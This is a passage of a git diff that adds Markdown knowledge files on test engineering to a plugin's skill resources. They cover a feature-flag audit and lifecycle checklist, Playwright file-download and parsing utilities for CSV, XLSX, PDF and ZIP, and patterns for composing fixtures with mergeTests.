+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
